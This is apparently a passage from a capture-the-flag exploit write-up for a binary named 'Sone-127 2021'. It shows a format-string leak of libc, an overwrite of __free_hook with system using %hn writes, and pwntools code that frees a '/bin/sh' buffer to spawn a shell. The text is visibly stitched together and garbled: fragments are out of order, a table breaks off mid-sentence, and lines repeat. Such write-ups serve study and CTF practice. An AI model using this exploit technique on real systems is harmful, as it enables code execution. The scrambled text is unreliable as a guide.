Sone-127 2021 Info
> upload sh.txt [uploading 8 bytes] /bin/sh The service stores the content in a heap chunk. When we later request download sh.txt , the binary will free the buffer after sending the content. Because __free_hook now points to system , free(buf) becomes system(buf) . Since buf points to the string "/bin/sh" , we get a shell.
The final crafted string (Python example):
> echo %p %p %p %p %p 0x7ffd2a8e2c30 0x0 0x7f5c1a2b2e30 0x0 0x7ffd2a8e2c30 That means the printf in the source is something like: SONE-127 2021
%addr_lowc%8$hn%addr_highc%9$hn Because the target address ( __free_hook ) is 8‑byte aligned, we split it into two 2‑byte halves and write with %hn (write 2 bytes).
target = free_hook low = target & 0xffff high = (target >> 16) & 0xffff > upload sh
| Function | Purpose | |----------|---------| | leak_libc | Uses the format‑string to leak a libc address and compute the base. | | write_free_hook | Crafts a two‑write %hn payload that stores system at __free_hook . | | get_shell | Uploads a chunk containing /bin/sh and then frees it, invoking system . | | main | Orchestrates the steps and drops
from pwn import *
def get_shell(io): # Upload a file containing /bin/sh io.sendlineafter(b'> ', b'upload sh.txt') io.sendlineafter(b'Enter size: ', b'8') io.send(b'/bin/sh') io.recvuntil(b'> ')
# Trigger free -> system io.sendlineafter(b'> ', b'download sh.txt') io.interactive() Since buf points to the string "/bin/sh" , we get a shell